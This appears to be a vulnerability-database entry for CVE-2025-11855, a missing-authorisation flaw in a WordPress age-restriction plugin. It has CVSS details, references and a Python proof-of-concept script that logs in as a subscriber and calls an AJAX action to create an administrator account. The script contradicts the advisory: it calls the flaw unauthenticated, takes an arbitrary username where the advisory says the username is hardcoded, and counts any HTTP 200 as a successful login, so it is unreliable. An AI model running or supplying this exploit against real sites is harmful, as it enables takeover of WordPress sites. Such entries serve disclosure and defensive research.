CVE-2025-11855

Description

The age-restriction WordPress plugin through 3.0.2 does not have authorisation in the age_restrictionRemoteSupportRequest function, allowing any authenticated users, such as subscriber to create an admin user with a hardcoded username and arbitrary password.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

age-restriction plugin < 3.0.2

age-restriction plugin <= 3.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-11855 PoC
# WordPress age-restriction plugin <= 3.0.2 - Privilege Escalation via Unauthenticated Admin Creation

target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com"
username = sys.argv[2] if len(sys.argv) > 2 else "wpscan"
password = sys.argv[3] if len(sys.argv) > 3 else "password123"

# WordPress login to get authentication cookie
login_url = f"{target_url}/wp-login.php"
login_data = {
    "log": "attacker_account",  # Any valid low-privilege user
    "pwd": "user_password",
    "wp-submit": "Log In",
    "redirect_to": "/wp-admin/",
    "testcookie": "1"
}

session = requests.Session()
login_response = session.post(login_url, data=login_data)

# Check if login successful
if "wordpress_logged_in" in str(session.cookies) or login_response.status_code == 200:
    print("[+] Logged in successfully")
    
    # Exploit the vulnerable endpoint
    exploit_url = f"{target_url}/wp-admin/admin-ajax.php"
    exploit_data = {
        "action": "age_restrictionRemoteSupportRequest",
        "username": username,
        "password": password
    }
    
    exploit_response = session.post(exploit_url, data=exploit_data)
    
    if exploit_response.status_code == 200:
        print(f"[+] Exploit sent - Admin user '{username}' should be created")
        print(f"[+] Login with: {username}:{password}")
    else:
        print("[-] Exploit failed")
else:
    print("[-] Login failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11855
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11855
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11855/
[4] VulDB https://vuldb.com/cve/CVE-2025-11855
[5] https://wpscan.com/vulnerability/1a16440e-817f-4ec2-9c70-261f6b63fb8a/

Raw JSON Data

JSON

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